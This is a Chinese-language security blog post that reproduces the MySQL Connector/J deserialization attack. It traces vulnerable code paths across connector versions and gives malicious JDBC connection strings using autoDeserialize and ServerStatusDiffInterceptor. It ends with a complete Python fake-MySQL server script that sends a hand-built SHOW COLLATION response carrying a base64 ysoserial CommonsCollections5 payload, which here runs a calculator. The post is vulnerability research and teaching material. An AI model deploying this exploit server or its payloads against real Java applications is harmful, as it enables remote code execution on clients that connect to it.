前言
上一篇复现blackhat议题就是讲的 JDBC 的一些引擎,但是上一篇没有提到 Mysql,也许是因为 Mysql 已经被开发完了,但是我只知道一个大概不太清楚具体原理,所以复现学习一下
参考的 MYSQL JDBC反序列化解析 这篇文章
写的有很多不好的地方,别骂我~~~
一个大概的复现
这里先用一个已有的仓库:
https://github.com/fnmsd/MySQL_Fake_Server
也正是因为这个攻击起来才方便很多,不然的话像上篇那个 blackhat的,都没有现成的工具,麻烦死了~
5.X 的版本
首先贴一下 Maven:
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.20</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
|
然后来一个最直接的串:
1
| jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&user=cc5
|
这里用的 java8 的高一些的版本启动的,好像打不了cc1和cc3,所以用了cc5,具体为啥就不分析了,不是这次的主题。
首先怎么找 JDBC 的连接类:
比如这个,就直接进去这个 Driver,然后找 connect 函数:
发现没有,然后去父类就发现了。这是比较快的一个方法了,因为 java.sql.getConnection 会调用 Driver 的 connect 函数。
此时就在: com.mysql.jdbc.NonRegisteringDriver#connect
执行到:
进入这个类:ConnectionImpl,这个类继承至 ConnectionPropertiesImpl
这个 PropertiesImpl 类呢就是各种参数的初始化了,其中就有 autoDeserialize:
之所以说一下这个初始化参数的类,是因为说不定有机会可以研究一下别的参数,所以这个类还是挺有价值的。
那么在哪里调用的反序列化呢,我不太相信发现的人是一点一点往下跟的,所以我也决定也想想方法逆向一下,在这个 ConnectionPropertiesImpl 类中有个函数 getAutoDeserialize,然后使用 jd-gui,搜索哪里调用了这个函数:
可以看,非常好跟踪到,因为就这一处,
函数位置:com.mysql.jdbc.ResultSetImpl#getObject(int)
细节先不看,在这里下断点,然后看看调用栈就好
对了,这里简单题一下,就是在ConnectionImpl 的初始化中做完获取 user 和password 以后会建立连接:
这个一看就是建立连接的函数,然后调用栈就是如下:
1 2 3
| com.mysql.jdbc.ConnectionImpl#createNewIO -> com.mysql.jdbc.ConnectionImpl#connectOneTryOnly -> com.mysql.jdbc.ConnectionImpl#initializePropsFromServer
|
好了,到这就行,在这里你可以看到一个函数:
(这里我为了截图缩了很多代码)
进入:com.mysql.jdbc.ConnectionImpl#buildCollationMapping
此处就调用了 resultSetToMap:
com.mysql.jdbc.Util#resultSetToMap(java.util.Map, java.sql.ResultSet, int, int)
就是这里调用的上面提到的 getObject:
当然这都是逆向跟出来的,就是在 getObject 下个断点,就啥都知道了。
上面几张图的大概意思就是:当数据库连接成功后会执行 SHOW COLLATION,然后会调用 resultSetToMap 获取结果,这个resultSetToMap就会调用 getObject,然后通过特殊构造的返回值就可以反序列化了
那么为啥会有这个 buildCollationMapping 函数呢:
5.1.11-5.1.18 以下版本
虽然版本很低了,但是也提一下吧,这里再贴一下连接字符串:
1
| jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&user=cc5
|
这个连接串在 5.1.19 以下(不包含5.1.19) 是不会自动触发的
链接后都要查询,并不是说没有 SHOW COLLATION了,而是因为:
https://github.com/mysql/mysql-connector-j/compare/5.1.18...5.1.19#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL947
左边是5.1.18,查询完后使用的是循环然后 getString 的方法,是没机会反序列化的。
右边5.1.19是查询完使用 resultSetMap,这才有机会反序列化。
但是的但是,如果把连接串改成:
1
| jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=cc5
|
这里多加了个 statementInterceptors,如果加个这个的话那么在 5.1.11-5.1.18这几个版本也是可以做到反序列化的。
(这个 Interceptor 说白了其实就是查询以后,返回结果的时候会经过指定的 Interceptor,跟 Web 里差求不多的)
原理也很简单,执行语句的时候,首先是:
1
| com.mysql.jdbc.StatementImpl#executeQuery
|
然后一直到:
1 2
| com.mysql.jdbc.MysqlIO#sqlQueryDirect - > com.mysql.jdbc.MysqlIO#invokeStatementInterceptorsPost
|
这里判断拦截器不是空的话,就调用,我们看看 连接字符串 中的 interceptor:
1
| com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor#postProcess
|
好了,我想也不用多解释了。
5.1.10 及以下
那么为什么5.1.11一下这个拦截器不起作用了呢
经过查看发现 ServerStatusDiffInterceptor 这个拦截器的代码是没啥变化的,那么我们找到调用拦截器的地方,也就是刚刚提到的:
com.mysql.jdbc.MysqlIO#sqlQueryDirect
这个函数:
可以看到这里的 statementInterceptors 竟然是空的,找到初始化 这个东西的地方,也就是 ConnectionImpl 这个类。
不卖关子了,对比一下两个版本就知道了:
5.1.10版本是先createIO,也就是先连数据库再初始化赋值拦截器,高版本则反过来了,就这么简单的原因~
所以 5.1.10 以下执行个 select 123 就也能触发。
5.1.49 的修复
这个连接串一直到版本几呢,一直到 5.1.49,首先看看这个版本的拦截器:
已经没有调用 resultSetToMap 了。
然后看看 ConnectionImpl 调用 SHOW COLLATION
的地方:
发现又回到了最开始的 getString 的版本了。
(虽然我很像秉着来都来了的心态看看还有什么地方可以调用 getObject 的,但是毕竟现在是凌晨,改日再看
6.0.2 - 6.0.6 版本
在 6.0.2 到 6.0.6 版本中 SHOW COLLATION 还是可以的反序列化的,还是在这个函数:
com.mysql.cj.jdbc.ConnectionImpl#buildCollationMapping
这里检测了如果开启了 detectCustomCollations 这个参数就会进入到下面了,就能反序列化了~
( 6 的版本没有 6.0.1 ,6.0.6以后也没有了~也就是这个 6.X 是全版本都有的)
8.0.20 及以前
连接串:
1
| jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=cc5
|
这里重点就是 queryInterceptors ,其实就是 5.X 的 statementInterceptors,原理也是一样的,看拦截器就知道了:
1
| com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
|
但是来到这的过程有一些区别
还是讨论这个函数:
com.mysql.cj.NativeSession#buildCollationMapping
这个函数中,现在是:
首先这里不会再调用 resultSetToMap 了,所以第一种方法就没用了,第二种拦截器的方法呢,跟入:com.mysql.cj.protocol.a.NativeProtocol#sendCommand
这里虽然用了 queryInterceptors ,但是他这里的类型是 Message,调用的是:
这个是参数的 preProcess,我们要到的拦截器是:
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess
这个参数的,说白了就是接受一个 SQL 字符串,不过还好下面也有执行的地方。
找到 buildCollationMapping 的上一个函数:
com.mysql.cj.jdbc.ConnectionImpl#initializePropsFromServer
在调用完 buildCollationMapping 后:
然后调用栈就是:
1 2
| com.mysql.cj.jdbc.ConnectionImpl#handleAutoCommitDefaults -> com.mysql.cj.jdbc.ConnectionImpl#setAutoCommit
|
这里就执行的 execSQL 了。
然后跟 5.X 的函数虽然有些差别,但是大致原理差不多,最终到函数:
com.mysql.cj.protocol.a.NativeProtocol#sendQueryPacket
然后把这个 query 传到 interceptor 的 preProcess 函数中,这个 LazyString 继承至 Supplier<String>
:
自然就进入了拦截器的:
然后就反序列化啦~
8.0.21 修复
修复方法和之前一样,在拦截器中不再使用 resultSetToMap:
构造一个自己的 Fake Mysql
既然来都来了,那么尝试自己写一个 Fake Server
触发反序列化吧~
关键代码
这里以 5.1.20 为例:
1 2 3 4 5
| <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.20</version> </dependency>
|
之前已经提到过了,反序列化的代码在:
com.mysql.jdbc.ResultSetImpl#getObject(int)
首先要是 field 类型的 SQLType 的 -2, field 是从 this.fields 获取的。
这个 fields 是在哪里赋值的呢,在同类的:
1
| com.mysql.jdbc.ResultSetImpl#getInstance(java.lang.String, com.mysql.jdbc.Field[], com.mysql.jdbc.RowData, com.mysql.jdbc.MySQLConnection, com.mysql.jdbc.StatementImpl, boolean)
|
在这里下个断点:
使用正常连接串,账号密码要输入正确,然后开一个3306,等等要抓数据包:
1
| jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=root&password=root
|
在这下了断点回溯两个函数后找到:
com.mysql.jdbc.MysqlIO#getResultSet
这一看就是根据二进制数据进行解包了。
那么刚刚那个 SQLType 是什么时候赋值的呢
进入到 :com.mysql.jdbc.MysqlIO#unpackField
(先知道这个 colType,不用计较是数据包的第几位,不急)
然后下面实例化一个 Field 类,会传入这个 colType:
1
| com.mysql.jdbc.Field#Field(com.mysql.jdbc.MySQLConnection, byte[], int, int, int, int, int, int, int, int, int, int, long, int, short, int, int, int, int)
|
首先根据这个 mysqlType 获取,这个 mysqlType 就是刚刚提到的 colType。
然后进入到函数:
com.mysql.jdbc.MysqlDefs#mysqlToJavaType(int)
当这个这个 colType 是 255的时候,这个 sqlType 就能变成 -2 了
(当然,这个其实到后面是不行的,但是起码能让他变成-2,能进入那个 case 了。)
数据包分析
因为 Mysql 好像默认也不加密的,也没听说有什么类似 token 之类的验证,所以直接抓就完了:
因为反序列化的点在 SHOW COLLATION
所以之前的数据我也不需要了解的太清楚。
根据我的猜测,大概就是:
首先客户端连接到服务器,然后服务器发送第一段包,这个包的含义可能是让客户端进行验证。
然后客户端发送密码,服务器验证,验证成功后服务器返回第二段。
然后这个时候客户端好像发送了 SHOW VARIABLES
,这个也不是我关注的点,所以我们直接把返回也复制即可。
不过这里还是稍微了解一下格式,就方便写接收数据的函数了:
首先是三位的长度,然后是一位的 Pakcet Number,然后就是数据,我们也可以在 wireshark 中看到:
然后无脑复制一下 wireshark 中的 hexdump 数据即可:
复制四段蓝色的(也就是服务器发回给客户端的)数据,因为在 SHOW COLLATION
之前还有一个 查询 auto_increment 的:
写出脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import socket
import base64 import binascii import sys
sock = socket.socket() sock.bind(("127.0.0.1", int(sys.argv[1])))
def recv_from_client(client): packet_length = int.from_bytes(client.recv(3), byteorder='little') packet_number = client.recv(1) return client.recv(packet_length) pass
hex_dump = [ "4a0000000a352e372e3238005f000000080f0f5563263f6d00ffffc00200ffc11500000000000000000000726e7350015b4e195b453320006d7973716c5f6e61746976655f70617373776f726400", "0700000200000002000000", "01000001025200000203646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730d5661726961626c655f6e616d650d5661726961626c655f6e616d650c2100c0000000fd01100000004200000303646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730556616c75650556616c75650c2100000c0000fd000000000005000004fe000022001a000005146368617261637465725f7365745f636c69656e7404757466381e000006186368617261637465725f7365745f636f6e6e656374696f6e04757466381b000007156368617261637465725f7365745f726573756c747304757466381a000008146368617261637465725f7365745f73657276657204757466381c0000090c696e69745f636f6e6e6563740e534554204e414d455320757466381800000a13696e7465726163746976655f74696d656f7574033132301900000b166c6f7765725f636173655f7461626c655f6e616d657301321c00000c126d61785f616c6c6f7765645f7061636b65740831363737373231361800000d116e65745f6275666665725f6c656e6774680531363338341500000e116e65745f77726974655f74696d656f75740236301900000f1071756572795f63616368655f73697a650731303438353736150000101071756572795f63616368655f74797065034f4646930000110873716c5f6d6f6465894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e150000121073797374656d5f74696d655f7a6f6e6503435354110000130974696d655f7a6f6e650653595354454d26000014157472616e73616374696f6e5f69736f6c6174696f6e0f52455045415441424c452d524541441d0000150c74785f69736f6c6174696f6e0f52455045415441424c452d52454144110000160c776169745f74696d656f75740331323005000017fe00002200", "0100000101380000020364656600000022404073657373696f6e2e6175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a00000000005000003fe0000020002000004013105000005fe00000200" ]
s = sock.listen(1025) client,x = sock.accept() for raw in hex_dump: client.send(binascii.unhexlify(raw)) print(recv_from_client(client))
|
可以看到现在接收到了 SHOW COLLATION
的查询命令了,说明离目标不远了。
SHOW COLLATION 的返回构造
这里分析最后的数据包,就是发送 SHOW COLLATION 后,正常返回的数据包如下:
可以在这里右键,分段复制出来:
这个返回的数据包实在太长了,我们可以改短点先,首先复制这个 column count
,然后这个 Number of fields
改成 1 即可,不需要那么多字段。
然后就是复制一段 field packet
,也添加进去,然后 field pakcet
后面有一个 intermediate EOF
这个也要复制出来
然后复制一个 row packet
以及拖到数据包最后有一个response EOF
。
这样就返回就构造完成了。
在刚刚的 for 循环后面加上一段新的:
1 2 3 4 5 6 7 8 9 10 11 12
| data = "0100000101"
data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c210060000000fd0100000000"
data+="05000008fe00002200"
data+="210000090f626967355f6368696e6573655f63690462696735013103596573035965730131"
data+="050000e7fe00002200"
client.send(binascii.unhexlify(data))
|
现在就不用分析那个 unpackField
了,直接在这里下断点:
com.mysql.jdbc.ConnectionImpl#buildCollationMapping
可以看到返回成功了,说明起码构造的数据包整体是没错的,
进入 resultSetToMap ,注意这里传进 resultSetToMap 的 key 是 3,等等要用到的:
进入 getObject :com.mysql.jdbc.ResultSetImpl#getObject(int)
这里抛出异常了,因为这里的获取的是 fileds 里的第三个,但是我们刚刚只复制了一个 fields。不过也很简单,直接把 column count
的 01 改成 03,然后复制三个 field packet 即可。
data 返回精修
然后就是最后的构造了,到了刚刚的 SQLTYPE:
此时的 mysqlType 是 253,刚刚提到了要改成 255 就能变成 -2 了。
253 的 16 进制是 fd,直接把 field packet 的第三个 fd 改成 ff即可,但是改完之后会发现其实 255 不行, 255直接进入了第一个 if 了,我们要进入 else 才对
再回到刚刚那个 Field 类:
1
| com.mysql.jdbc.Field#Field(com.mysql.jdbc.MySQLConnection, byte[], int, int, int, int, int, int, int, int, int, int, long, int, short, int, int, int, int)
|
往下翻会看到还有个地方可以赋值 sqlType = -2:
这里有两个点,一个是 isBinary ,这个 isBinary 通过函数:com.mysql.jdbc.Field#isBinary
就是这个 colFlag 要大于等于 128:
就是这里的 flag,刚刚改 type 位置的后面一位,默认是 01,改成 80(128的16进制) 即可。
然后还有个函数:com.mysql.jdbc.Field#isOpaqueBinary:
这里两个点,一个 index 要是 63,一个是 MysqlType 是 254
这个MysqlType 就不用讨论了,index 的话往回跟跟就会发现,他是数据包里的:
默认是 33(0x21),改成 63 (0x3f) 就好啦~
然后下面:
这里读取到的数据是 49(0x31),这里已经是 row packet 部分了,看看数据包:
这里有三个重点,第一个是 Pakcet Length
,是整个 row packet 的长度,第二个 length 是这一列的长度,第三个是具体内容,稍微改改。
原本是:
210000090f626967355f6368696e6573655f63690462696735013103596573035965730131
row packet改成:
220000090f626967355f6368696e6573655f6369046269673502616103596573035965730131
这里 21 改成了 22,加了一位,然后01改成02,数据多加一位,再看看:
可以看到成功了,这里判断第一二位是不是 -84
-19
,其实就是判断 aced
的 ac
,也就是如果是序列化数据就反序列化。
这里有个最后的问题,就是长度:
我们把数据包指向这里会发现他只有一位,也就是顶多传 ff,也就是255个字节,那我反序列化数据肯定不止这么点。
这时候有两个方法,一个是读源码看看读取长度的时候是怎么处理的,因为肯定有传长数据的方法。第二个就是读协议看看,但是我找不到 协议格式,所以我去问了问 gpt:
可以看到这里提到了如果长度大于 251,那么第一个字节就是 252,然后后面两个字节存储实际值。
把 row packet 改成如下:
1 2 3
| send_data = b"\x61"*1000
data+=(len(send_data)+0x22).to_bytes(3,byteorder="little").hex()+"090f626967355f6368696e6573655f63690462696735"+"fc"+len(send_data).to_bytes(2,byteorder="little").hex()+send_data.hex()+"03596573035965730131"
|
成功~
最后就是把 send_data 改成 cc5 的链子即可:
最后贴个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import socket
import base64 import binascii import sys
sock = socket.socket() sock.bind(("127.0.0.1", int(sys.argv[1])))
def recv_from_client(client): packet_length = int.from_bytes(client.recv(3), byteorder='little') packet_number = client.recv(1) return client.recv(packet_length) pass
hex_dump = [ "4a0000000a352e372e3238005f000000080f0f5563263f6d00ffffc00200ffc11500000000000000000000726e7350015b4e195b453320006d7973716c5f6e61746976655f70617373776f726400", "0700000200000002000000", "01000001025200000203646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730d5661726961626c655f6e616d650d5661726961626c655f6e616d650c2100c0000000fd01100000004200000303646566001173657373696f6e5f7661726961626c65731173657373696f6e5f7661726961626c65730556616c75650556616c75650c2100000c0000fd000000000005000004fe000022001a000005146368617261637465725f7365745f636c69656e7404757466381e000006186368617261637465725f7365745f636f6e6e656374696f6e04757466381b000007156368617261637465725f7365745f726573756c747304757466381a000008146368617261637465725f7365745f73657276657204757466381c0000090c696e69745f636f6e6e6563740e534554204e414d455320757466381800000a13696e7465726163746976655f74696d656f7574033132301900000b166c6f7765725f636173655f7461626c655f6e616d657301321c00000c126d61785f616c6c6f7765645f7061636b65740831363737373231361800000d116e65745f6275666665725f6c656e6774680531363338341500000e116e65745f77726974655f74696d656f75740236301900000f1071756572795f63616368655f73697a650731303438353736150000101071756572795f63616368655f74797065034f4646930000110873716c5f6d6f6465894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e150000121073797374656d5f74696d655f7a6f6e6503435354110000130974696d655f7a6f6e650653595354454d26000014157472616e73616374696f6e5f69736f6c6174696f6e0f52455045415441424c452d524541441d0000150c74785f69736f6c6174696f6e0f52455045415441424c452d52454144110000160c776169745f74696d656f75740331323005000017fe00002200", "0100000101380000020364656600000022404073657373696f6e2e6175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a00000000005000003fe0000020002000004013105000005fe00000200" ]
s = sock.listen(1025) client,x = sock.accept() for raw in hex_dump: client.send(binascii.unhexlify(raw)) print(recv_from_client(client))
data = "0100000103"
data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c210060000000fd0100000000"
data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c210060000000fd0100000000"
data+="530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c3f0060000000fe8000000000"
data+="05000008fe00002200"
send_data = base64.b64decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAUXQAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAAM3EAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAASb3BlbiAtYSBjYWxjdWxhdG9ydAAEZXhlY3VxAH4ALwAAAAFxAH4ANHNxAH4AJHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==")
data+=(len(send_data)+0x22).to_bytes(3,byteorder="little").hex()+"090f626967355f6368696e6573655f63690462696735"+"fc"+len(send_data).to_bytes(2,byteorder="little").hex()+send_data.hex()+"03596573035965730131"
data+="050000e7fe00002200"
client.send(binascii.unhexlify(data))
|